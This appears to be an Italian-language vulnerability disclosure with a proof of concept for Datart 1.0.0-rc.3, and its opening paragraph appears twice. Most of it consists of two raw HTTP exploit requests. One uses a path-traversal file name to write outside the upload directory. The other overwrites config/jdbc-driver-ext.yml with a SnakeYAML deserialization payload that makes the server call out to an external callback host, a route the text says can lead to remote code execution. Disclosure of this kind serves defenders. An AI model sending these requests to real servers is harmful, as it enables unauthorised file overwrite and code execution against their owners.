
Datart 1.0.0-rc.3 è vulnerabile a Directory Traversal nell'interfaccia POST /viz/image, poiché il server utilizza direttamente MultipartFile.transferTo() per salvare il file caricato in un percorso controllabile dall'utente e non effettua una verifica rigorosa del nome del file.
Datart 1.0.0-rc.3 è vulnerabile a Directory Traversal nell'interfaccia POST /viz/image, poiché il server utilizza direttamente MultipartFile.transferTo() per salvare il file caricato in un percorso controllabile dall'utente e non effettua una verifica rigorosa del nome del file.
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../../../../tmp/1 HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
xxxxx
------WebKitFormBoundarySInMdoLRiubl32BW--
Datart 1.0.0-rc.3 è vulnerabile a Directory Traversal. La gestione dei file di configurazione dell'applicazione consente agli aggressori di caricare file YAML arbitrari nel percorso config/jdbc-driver-ext.yml. L'applicazione analizza questo file utilizzando il metodo load() o loadAs() non sicuri di SnakeYAML senza sanificazione dell'input. Ciò consente la deserializzazione di contenuti YAML controllati dall'aggressore, portando all'istanziazione arbitraria di classi. In determinate condizioni, ciò può essere sfruttato per ottenere l'esecuzione di codice in remoto (RCE).
POST /api/v1/files/viz/image?ownerType=DASHBOARD&ownerId=66822c13a9bc4381923456c11339497e&fileName=../../../../../config/jdbc-driver-ext.yml HTTP/1.1
Host: test.com
Accept-Language: zh-CN
Accept: application/json, text/plain, */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySInMdoLRiubl32BW
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Length: 4646
------WebKitFormBoundarySInMdoLRiubl32BW
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type: image/jpeg
{!!java.net.URL ["http://test.eyes.sh/"]: 1}
------WebKitFormBoundarySInMdoLRiubl32BW--